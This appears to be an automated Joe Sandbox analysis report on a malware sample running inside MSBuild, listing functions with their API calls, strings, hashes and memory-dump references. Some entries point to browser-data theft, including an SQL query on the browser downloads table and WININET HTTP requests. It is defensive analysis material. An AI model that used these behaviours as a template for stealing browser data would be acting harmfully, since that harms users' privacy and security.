Instruction ID: 0d9c72b00c78a132b6138dad59060d0af2261b921ec16a792c048d1552ca505b
Opcode Fuzzy Hash: f422bddd6fa295fc69f51ea7050b2b61e2e81a84a248dd4c35c99ff57c4064b0
Instruction Fuzzy Hash: E5212831B016029BDB188BEEED05E5933B6EB4B324F04812DD906D7F40CB30A8C696E7

Function 00405300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$Request$InfoOpenOptionQuerySend
String ID: GET
API String ID: 2117767405-1805413626
Opcode ID: ec1818f1b5dc176a3a2c65fde9678bc70553988a3b5854161e8900bd42de50db
Instruction ID: c06c10db19ccbb09b917be6791d6e87d3350913208207c9bda25649f91100a2c
Opcode Fuzzy Hash: ec1818f1b5dc176a3a2c65fde9678bc70553988a3b5854161e8900bd42de50db
Instruction Fuzzy Hash: 10117CB2A00618AFDB219F50DC85BEBB7B8EB0834AF0010AAF505E61D1D7B54F848F64

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

string too long, xrefs: 0040F2E1
invalid string position, xrefs: 0040F2C2

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: abe35794036886210528489db63441bff37f02ade2a9557ca0a4a50bd5b67518
Instruction ID: fda4f209e2cf0b56f3a9b1d46fb6730c74d61fd80b342966d8a14118a61022c7
Opcode Fuzzy Hash: abe35794036886210528489db63441bff37f02ade2a9557ca0a4a50bd5b67518
Instruction Fuzzy Hash: E511E0713002029FDB24EF2DD881A59B3A5BF45324754053AF816EBAC2C778ED59C799

Function 6CACC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CACC0E9), ref: 6CACC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CACC437
FreeLibrary.KERNEL32(?,6CACC0E9), ref: 6CACC44C

Strings

NtQueryVirtualMemory, xrefs: 6CACC431
ntdll.dll, xrefs: 6CACC413

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: a545005886c50601f194217c644905d6ab983c8191bdf447f5114c83b4f38b5b
Instruction ID: 681355c8d52693e310484356dc34e2cd4321f35174b5fd8b83c8d50aa4bebf02
Opcode Fuzzy Hash: a545005886c50601f194217c644905d6ab983c8191bdf447f5114c83b4f38b5b
Instruction Fuzzy Hash: 71E09A706013029BDF886B71AD0C7117AF8F74E208F04D21AAA04D1690DB74D442ABD5

Function 6CAC75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAC748B,?), ref: 6CAC75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAC75D7
FreeLibrary.KERNEL32(?,6CAC748B,?), ref: 6CAC75EC

Strings

RtlNtStatusToDosError, xrefs: 6CAC75D1
ntdll.dll, xrefs: 6CAC75B3

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a5c77f3574adc8aa2fb26952ede19088593aa81c18c11772658f65f9e18b61fd
Instruction ID: 02f03e5616692837d0c628862061e62e4432ac13bc35b1c24dea768898ac494e
Opcode Fuzzy Hash: a5c77f3574adc8aa2fb26952ede19088593aa81c18c11772658f65f9e18b61fd
Instruction Fuzzy Hash: 01E09A71601307ABEB885BA2EC487057AF8EB0E254F14C129AD05E1650DB708583AF95

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

Downloads, xrefs: 004092D1
SELECT target_path, tab_url from downloads, xrefs: 004093B9
Downloads, xrefs: 00409328

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: 303069fe88f16fd02622c7b29bfdcf617c5e0da2cd4ec396c89ee5849e6328bf
Instruction ID: c3a2e1ceed73f30f2a0186b43c10b10d94df4e932e2d00075f3affca8e015c3d
Opcode Fuzzy Hash: 303069fe88f16fd02622c7b29bfdcf617c5e0da2cd4ec396c89ee5849e6328bf
Instruction Fuzzy Hash: D0711F71A40119AFCF01FFA6DE469DDB775AF04309F611026F500B71E1DBB8AE898B98

Function 6CA64DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA64EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA64F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA64F1E

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 92da667755496c85d734e2894e6850121c699fa6623853f6626b36bee66d2f0b
Instruction ID: 47f2f8934f036e4c457960f6643e002a5d79cd0777520867897ea72e72998eb6
Opcode Fuzzy Hash: 92da667755496c85d734e2894e6850121c699fa6623853f6626b36bee66d2f0b
Instruction Fuzzy Hash: 4F41CE716087019FC705CF2AC89099BB7F4BF89344F148A2DF86687B41DB30E998CB91

Function 6CA71530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA7159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA715BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA715E7
free.MOZGLUE(?,?,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA71606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA71637

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4cd1d0e8a51fe36a8eb69482def6e0cf6b3e925b27778ab9a940d4dc1548caba
Instruction ID: f1e2ecdb0913af804d8e201549b3b5b0ceff09d7389a25aa0491ee96b8eba330
Opcode Fuzzy Hash: 4cd1d0e8a51fe36a8eb69482def6e0cf6b3e925b27778ab9a940d4dc1548caba
Instruction Fuzzy Hash: 50310A75A001048BCB288E7CD9604BF77F9BB813647280B2DE527DBBD4EB30D98587A1

Function 6CACAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAD9D

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE01
GetLastError.KERNEL32(?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CADE330,?,6CA8C059), ref: 6CACAE3D

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: e016cf99da978d1c8bb468568a44a170e406a3dc5cdd8d9e32b91153c77efa0b
Instruction ID: 8b7113ed96f64eb8c72e6184e05b410d64329d3859a47fffc01018891edcb090
Opcode Fuzzy Hash: e016cf99da978d1c8bb468568a44a170e406a3dc5cdd8d9e32b91153c77efa0b
Instruction Fuzzy Hash: 7C317FB1A003259FDB50DF799D44AABB7F9EF48614F158829E84AD7700E734A884CBE1

Function 6CA6B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA6B532
moz_xmalloc.MOZGLUE(?), ref: 6CA6B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA6B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA6B57E
free.MOZGLUE(00000000), ref: 6CA6B58F

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec5f13f378729ab86873b3b6fbe23df4ca4ca2496977db4aed705ce5d0d85c23
Instruction ID: 7efa94b77989c31f38572c555a5d42d693eb230feb896d03a5b3de049e228a56
Opcode Fuzzy Hash: ec5f13f378729ab86873b3b6fbe23df4ca4ca2496977db4aed705ce5d0d85c23
Instruction Fuzzy Hash: F121F671A002069BDB009F69DC40BEABBB9FF85308F284129F819DB781E735D955D7A0

Function 00425863 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00425871
_free.LIBCMT ref: 00425884

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction ID: 0f6a7a9de2acf976bb71c4a7358ee9c0189bfc7f42e6d65b4cfb5dacec2d3ad4
Opcode Fuzzy Hash: 2b493ed735d85f9015adc675c3a17421fda87a9d97b28ce3bdfaf562aa5dddaf
Instruction Fuzzy Hash: 37110433700A35ABCB253F36BC0465A37A4AF443A1BB0413BF80996250DE7C8850879C

Function 6CAA0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA63DEF), ref: 6CAA0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA63DEF), ref: 6CAA0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA63DEF), ref: 6CAA0DAF

Strings

<jemalloc>, xrefs: 6CAA0D92, 6CAA0DB9
: (malloc) Error in VirtualFree(), xrefs: 6CAA0D97, 6CAA0DBE

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: fed67f7dd8eda97cca9b6e06304a9dd22d5f0360d5d0b0a956ef15df8d4c3c69
Instruction ID: b2dd16a7ea6baa44d7c9001b8bcab662cd9ad2d14b2063364683761b421fa318
Opcode Fuzzy Hash: fed67f7dd8eda97cca9b6e06304a9dd22d5f0360d5d0b0a956ef15df8d4c3c69
Instruction Fuzzy Hash: F1F0E03238035523D51811E91C0DF67365D67C5B54F348135F205DB9C0DA54E8C757E8

Function 00426869 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00426875

Part of subcall function 00424AA4: __getptd_noexit.LIBCMT ref: 00424AA7
Part of subcall function 00424AA4: __amsg_exit.LIBCMT ref: 00424AB4

__getptd.LIBCMT ref: 0042688C
__amsg_exit.LIBCMT ref: 0042689A
__lock.LIBCMT ref: 004268AA
__updatetlocinfoEx_nolock.LIBCMT ref: 004268BE

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction ID: df530f8c2b07d24e750de0406a568835e90f0ca544d117646d130bb6d46416d2
Opcode Fuzzy Hash: 3ca1aa4fc0945ad2b9bfdc36e3f8cce4979dbeb0600ceb255b48c050cbe74efe
Instruction Fuzzy Hash: 2DF09672F427309ADA21BB75740774A37A0AF40729F92411FF401972D2CB6C5940CA5D

Function 6CA8D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

EnterCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D4F2
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D50B

Part of subcall function 6CA6CFE0: EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
Part of subcall function 6CA6CFE0: LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D52E
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D690
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CA9D1C5), ref: 6CA8D751

Strings

MOZ_CRASH(), xrefs: 6CA8D4BB

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ab6e519f9ce817bb6ec7a7a8794f3f836368a02cf251640f7ce2d7eeef98ca36
Instruction ID: 4aeba1f04e2be01b56aff63adb165cfc3ab8ddaafad4b776d6cc111683847dd9
Opcode Fuzzy Hash: ab6e519f9ce817bb6ec7a7a8794f3f836368a02cf251640f7ce2d7eeef98ca36
Instruction Fuzzy Hash: 3F510271A057068FD768CF29C09425AB7F1EB8D304F188A2FD59AC7B84D770E880CB91

Function 6CABB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CABB127), ref: 6CABB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CABB4E4

Strings

pid:, xrefs: 6CABB4DE

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 5474cf01eccef55131400f60594bcaf417b5ffe511ca4b0e712ee91b53c4e07c
Instruction ID: 71f2105aac1d9be946b50839a5417ac19ec84555009f5e8e108f24b0c75140ff
Opcode Fuzzy Hash: 5474cf01eccef55131400f60594bcaf417b5ffe511ca4b0e712ee91b53c4e07c
Instruction Fuzzy Hash: 4131E831A012159FDB10DFA9E880AEEF779FF05318F580619D81677A41D731A8C9CBE1

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED5D
Part of subcall function 0042ED48: __CxxThrowException@8.LIBCMT ref: 0042ED72
Part of subcall function 0042ED48: std::exception::exception.LIBCMT ref: 0042ED83

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
